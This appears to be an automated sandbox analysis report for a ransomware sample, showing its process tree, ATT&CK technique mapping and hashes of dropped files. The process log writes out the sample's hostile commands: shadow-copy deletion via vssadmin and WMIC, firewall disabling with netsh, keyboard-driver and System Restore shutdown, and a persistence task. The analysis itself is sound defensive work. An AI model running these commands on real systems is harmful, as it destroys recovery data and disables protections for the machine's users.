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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4492
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5440
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3232
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4296 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5016
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C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5028
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:2532
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2992
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2536
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4856
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5900
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:6064 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4304
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5100
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3508
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1788
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:244
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C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe1⤵PID:2136
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C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe1⤵PID:3460
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4696
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 b6b0d4f5f55815127caf53d2db4a9cd08ec4c8fd787f7c03b6953d4da110db25
- MD5 de2f731b1e100cd63f80051f2e28b7a5
- SHA1 bacdd0e7ffc90a5125489d41eff9c1dfeb169ed0
- SHA512 fd48adca161af6d78a77378995c86fc19fb9f5b865efaf9995b12177bd24195c832ef8bfb178533ea30e335641d3e7a7d307ce1d8234229b0ffaff2d05cbbc3f
- SSDEEP 1536:T2Rveo0zwn1+7cRMa3EJmqF+D85NoczBc+hCBJA8ezply9ueJzRBDEI8Opx7limu:TgvQzwnA81EXm85KczBc+Bzpl6uUzRRy
- TLSH T188634C378B23FCD5677F3E80E05439920C88396747B1A668FBC50E9938A56C4EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 89dada5f6e12bba7fb8dcb4eba7ad5b140cf4bf3fb3ca54c7201e1e3406e0345
- MD5 5e683f50fc9f0bc81ba347531061fe84
- SHA1 eb87ac9d4e5f48d37f83f0954ed6b135edb380b8
- SHA512 f5c07a4c6f8e3b37201aa916b0bdb28cfdc425fd96fd5a50e5c5b9657f195c493a6c4091ffd4cd483d7650d04f41921ae73f365e489bbbb731c18cc742ed8f68
- SSDEEP 1536:z2Rveo0zwn1+7cRMa3EJmqF+D85NoczBc+hCBJA8ezply9ueJzRBDEI8Opx7limJ:zgvQzwnA81EXm85KczBc+Bzpl6uUzRRl
- TLSH T11D633B378A23FCD5677F3E80E06439520C88396747B1A768FBC50D993CA5684DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 239B
- SHA256 9b7176a9f0839ac56cc41d5d2b79fa74eab35d0a1ab9fae7c80cf8e9424f9a79
- MD5 9fbb38a0f3b01d57046a1e3989cf018a
- SHA1 24f37fed50b6d474e4f00df277d7e43585f59f78
- SHA512 71a2c2e9064371a4fa13d82bc030842385c9b884e285ff568e2085263142438e17582aa5b5177f78ae2f5c8832d1f54dba8eed9dcb927e05830cbe5268ea0ce4
- TLSH T131D0A78BB14DC7A90011123B81F3CE9DE5A5486D3B17BE744AA5DD4E32908C589FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 240B
- SHA256 aab08a25fa48c0412559cd1f93047fc0ab51673d90e20194dc0c197ebccf8b09
- MD5 5e39f1baa75458169677a59953b8de4f
- SHA1 4af672bdd15e357053e9419ef74b9dd9be828b26
- SHA512 3388c23479c0ce24612da6e65d287188c345473d607b1e879bb0c8d5e5589eb71bef86f84adfd4a3e6aa92f8b61988b2cae7bc832c33915354afd774a997a0f1
- TLSH T199D0A78BB14DC7A90011123F80F3CE9DE6E1486D3F17BE749AA5DD0E328088589FA543
- MD5 SHA1 SHA512 TLSH